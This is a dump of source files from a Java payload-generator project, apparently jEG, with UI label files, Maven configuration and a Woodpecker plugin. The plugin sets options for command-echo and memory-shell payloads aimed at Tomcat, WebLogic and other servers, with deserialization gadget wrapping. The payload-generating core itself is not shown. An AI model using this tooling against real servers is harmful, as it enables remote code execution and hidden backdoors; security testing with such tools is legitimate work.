"path": "jeg-gui/src/main/resources/messages_en.properties", "content": "format.text=Output Format\ngenerate.text=Generate\nheaderName.text=Header Key\nheaderValue.text=Header Value\ninjectorClsName.text=Injector Class Name\nkey.text=Key\npass.text=Password\nserver.text=Server Type\nshell.text=Shell Type\nshellClsName.text=Shell Class Name\ntool.text=Tool Type\nuri.text=Request URI\ngadget.text=Enable Gadget Wrapping\nexpr.text=Enable Expr Wrapping" }, { "path": "jeg-gui/src/main/resources/messages_en.properties.bak", "content": "format.text=Output Format\ngenerate.text=Generate\nheaderName.text=Request Header Key\nheaderValue.text=Request Header Value\ninjectorClsName.text=Injector Class Name\nkey.text=Key\npass.text=Password\nserver.text=Server Type\nshell.text=Shell Type\nshellClsName.text=Shell Class Name\ntool.text=Tool Type\nuri.text=Request URI\ngadget.text=Enable Gadget Wrapping\nexpr.text=Enable Expr Wrapping" }, { "path": "jeg-gui/src/main/resources/messages_zh.properties", "content": "format.text=\\u8F93\\u51FA\\u683C\\u5F0F\ngenerate.text=\\u751F\\u6210\nheaderName.text=\\u8BF7\\u6C42\\u5934\\u952E\nheaderValue.text=\\u8BF7\\u6C42\\u5934\\u503C\ninjectorClsName.text=\\u6CE8\\u5165\\u5668\\u7C7B\\u540D\nkey.text=\\u5BC6\\u94A5\npass.text=\\u5BC6\\u7801\nserver.text=\\u4E2D\\u95F4\\u4EF6/\\u6846\\u67B6\nshell.text=\\u7EC4\\u4EF6\\u7C7B\\u578B\nshellClsName.text=\\u5185\\u5B58\\u9A6C\\u7C7B\\u540D\ntool.text=\\u5DE5\\u5177\\u7C7B\\u578B\nuri.text=\\u8BF7\\u6C42\\u8DEF\\u5F84\ngadget.text=\\u4E13\\u9879\\u6F0F\\u6D1E\\u5C01\\u88C5\nexpr.text=\\u8868\\u8FBE\\u5F0F\\u8BED\\u53E5\\u5C01\\u88C5\n" }, { "path": "jeg-gui/src/main/resources/messages_zh.properties.bak", "content": "format.text=输出格式\ngenerate.text=生成\nheaderName.text=请求头键\nheaderValue.text=请求头值\ninjectorClsName.text=注入器类名\nkey.text=密钥\npass.text=密码\nserver.text=中间件/框架\nshell.text=组件类型\nshellClsName.text=内存马类名\ntool.text=工具类型\nuri.text=请求路径\ngadget.text=专项漏洞封装\nexpr.text=表达式语句封装\n" }, { "path": "jeg-woodpecker/pom.xml", "content": "\n 4.0.0\n \n jeg\n java-echo-generator\n ${reversion}\n \n\n jEG-woodpecker\n\n \n ${artifactId}-${reversion}\n \n \n \n jeg\n jEG-core\n ${reversion}\n \n \n me.gv7.woodpecker\n woodpecker-sdk\n 0.3.0\n provided\n \n \n me.gv7.woodpecker\n woodpecker-tools\n 0.1.0.beta1\n provided\n \n \n\n\n\n" }, { "path": "jeg-woodpecker/src/main/java/me/gv7/woodpecker/helper/jEGHelper.java", "content": "package me.gv7.woodpecker.helper;\n\nimport jeg.core.jEGenerator;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.config.jEGConfig;\nimport me.gv7.woodpecker.plugin.*;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class jEGHelper implements IHelperPlugin {\n public static IHelperPluginCallbacks callbacks;\n public static IPluginHelper pluginHelper;\n\n @Override\n public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {\n\n callbacks = helperPluginCallbacks;\n pluginHelper = callbacks.getPluginHelper();\n callbacks.setHelperPluginName(\"jEcho Generator Utils\");\n callbacks.setHelperPluginVersion(jEGConstants.JEG_VERSION);\n callbacks.setHelperPluginAutor(jEGConstants.JEG_AUTHOR);\n callbacks.setHelperPluginDescription(jEGConstants.JEG_DESCRIPTION);\n helperPluginCallbacks.registerHelper(new ArrayList() {{\n add(new jEchoHelper(jEGConstants.SERVER_TOMCAT));\n add(new jEchoHelper(jEGConstants.SERVER_SPRING_MVC));\n add(new jEchoHelper(jEGConstants.SERVER_JETTY));\n add(new jEchoHelper(jEGConstants.SERVER_RESIN));\n add(new jEchoHelper(jEGConstants.SERVER_WEBSPHERE));\n add(new jEchoHelper(jEGConstants.SERVER_WEBLOGIC));\n add(new jEchoHelper(jEGConstants.SERVER_UNDERTOW));\n add(new jEchoHelper(jEGConstants.SERVER_STRUTS2));\n add(new jEchoHelper(jEGConstants.SERVER_BES));\n add(new jEchoHelper(jEGConstants.SERVER_INFORSUITE));\n add(new jEchoHelper(jEGConstants.SERVER_TONGWEB));\n add(new jEchoHelper(jEGConstants.SERVER_UNKNOWN));\n }});\n }\n\n public class jEchoHelper implements IHelper {\n\n private String helperName;\n\n public jEchoHelper(String helperName) {\n this.helperName = helperName;\n }\n\n @Override\n public String getHelperTabCaption() {\n return this.helperName;\n }\n\n\n @Override\n public IArgsUsageBinder getHelperCutomArgs() {\n\n IArgsUsageBinder binder = pluginHelper.createArgsUsageBinder();\n List list = new ArrayList();\n IArg modelType = pluginHelper.createArg();\n modelType.setName(\"model_type\");\n modelType.setType(7);\n List enumModelType = new ArrayList();\n enumModelType.add(jEGConstants.MODEL_CMD);\n enumModelType.add(jEGConstants.MODEL_CODE);\n modelType.setEnumValue(enumModelType);\n modelType.setDefaultValue(jEGConstants.MODEL_CMD);\n modelType.setRequired(true);\n modelType.setDescription(\"自定义执行模式(命令/代码)\");\n list.add(modelType);\n\n IArg gadgetType = pluginHelper.createArg();\n gadgetType.setName(\"gadget_type\");\n gadgetType.setType(7);\n List enumGadgetType = new ArrayList();\n enumGadgetType.add(jEGConstants.GADGET_NONE);\n enumGadgetType.add(jEGConstants.GADGET_JDK_TRANSLET);\n enumGadgetType.add(jEGConstants.GADGET_XALAN_TRANSLET);\n gadgetType.setEnumValue(enumGadgetType);\n gadgetType.setDefaultValue(jEGConstants.GADGET_NONE);\n gadgetType.setRequired(true);\n gadgetType.setDescription(\"自定义利用链\");\n list.add(gadgetType);\n\n IArg formatType = pluginHelper.createArg();\n formatType.setName(\"format_type\");\n formatType.setType(7);\n List enumFormattType = new ArrayList();\n enumFormattType.add(jEGConstants.FORMAT_BASE64);\n enumFormattType.add(jEGConstants.FORMAT_BCEL);\n enumFormattType.add(jEGConstants.FORMAT_BIGINTEGER);\n enumFormattType.add(jEGConstants.FORMAT_CLASS);\n enumFormattType.add(jEGConstants.FORMAT_JAR);\n enumFormattType.add(jEGConstants.FORMAT_JS);\n formatType.setEnumValue(enumFormattType);\n formatType.setDefaultValue(jEGConstants.FORMAT_BASE64);\n formatType.setRequired(true);\n formatType.setDescription(\"自定义输出格式\");\n list.add(formatType);\n\n IArg request_header_name = pluginHelper.createArg();\n request_header_name.setName(\"request_header_name\");\n request_header_name.setType(0);\n request_header_name.setDefaultValue(\"随机生成\");\n request_header_name.setRequired(false);\n request_header_name.setDescription(\"自定义HTTP请求头: Header Name\");\n list.add(request_header_name);\n\n IArg request_param_name = pluginHelper.createArg();\n request_param_name.setName(\"request_param_name\");\n request_param_name.setType(0);\n request_param_name.setDefaultValue(\"随机生成\");\n request_param_name.setRequired(false);\n request_param_name.setDescription(\"自定义请求参数: Param Name\");\n list.add(request_param_name);\n\n IArg shell_class_name = pluginHelper.createArg();\n shell_class_name.setName(\"class_name\");\n shell_class_name.setType(0);\n shell_class_name.setRequired(false);\n shell_class_name.setDescription(\"自定义类名\");\n list.add(shell_class_name);\n\n IArg output_path = pluginHelper.createArg();\n output_path.setName(\"output_path\");\n output_path.setType(0);\n output_path.setDefaultValue(\"workdir\");\n output_path.setRequired(false);\n output_path.setDescription(\"自定义输出路径\");\n list.add(output_path);\n binder.setArgsList(list);\n return binder;\n }\n\n @Override\n public void doHelp(Map customArgs, IResultOutput resultOutput) {\n try {\n jEGConfig config = new jEGConfig() {{\n setServerType(helperName);\n setModelType((String) customArgs.get(\"model_type\"));\n setGadgetType((String) customArgs.get(\"gadget_type\"));\n setFormatType((String) customArgs.get(\"format_type\"));\n setReqParamName((String) customArgs.get(\"request_param_name\"));\n setRespHeaderName((String) customArgs.get(\"request_header_name\"));\n setClassName((String) customArgs.get(\"class_name\"));\n setOutputDir((String) customArgs.get(\"output_path\"));\n build();\n }};\n // 生成 payload\n jEGenerator generator = new jEGenerator(config);\n String result = generator.getPayload();\n resultOutput(resultOutput, config, result);\n } catch (Throwable e) {\n resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e));\n }\n }\n }\n\n public static void resultOutput(IResultOutput resultOutput, jEGConfig config, String result) {\n resultOutput.successPrintln(\"基础信息:\");\n resultOutput.rawPrintln(\"\");\n if (config.getModelType().equals(jEGConstants.MODEL_CMD)) {\n resultOutput.rawPrintln(\"请求头: \" + config.getReqHeaderName());\n } else {\n resultOutput.rawPrintln(\"请求参数: \" + config.getReqParamName());\n }\n resultOutput.rawPrintln(\"类名: \" + config.getClassName());\n resultOutput.rawPrintln(\"载荷长度: \" + config.getClassBytesLength());\n resultOutput.rawPrintln(\"\");\n try {\n resultOutput.successPrintln(\"结果输出:\");\n resultOutput.rawPrintln(\"\");\n resultOutput.rawPrintln(result);\n resultOutput.rawPrintln(\"\");\n } catch (Throwable e) {\n resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e));\n }\n }\n}\n" }, { "path": "jeg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java", "content": "package me.gv7.woodpecker.plugin;\n\nimport me.gv7.woodpecker.helper.jEGHelper;\n\npublic class WoodpeckerPluginManager implements IPluginManager {\n public WoodpeckerPluginManager() {\n }\n\n @Override\n public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) {\n pluginManagerCallbacks.registerHelperPlugin(new jEGHelper());\n }\n}\n" }, { "path": "pom.xml", "content": "\n\n 4.0.0\n\n jeg\n java-echo-generator\n pom\n ${reversion}\n \n jeg-core\n jeg-common\n jeg-gui\n jeg-woodpecker\n \n \n 1.0.0\n UTF-8\n 8\n 8\n \n\n \n \n org.javassist\n javassist\n 3.29.2-GA\n \n \n\n \n \n \n org.apache.maven.plugins\n maven-assembly-plugin\n 3.6.0\n \n \n jar-with-dependencies\n \n \n \n \n make-assembly\n package\n \n single\n \n \n \n \n \n \n" } ]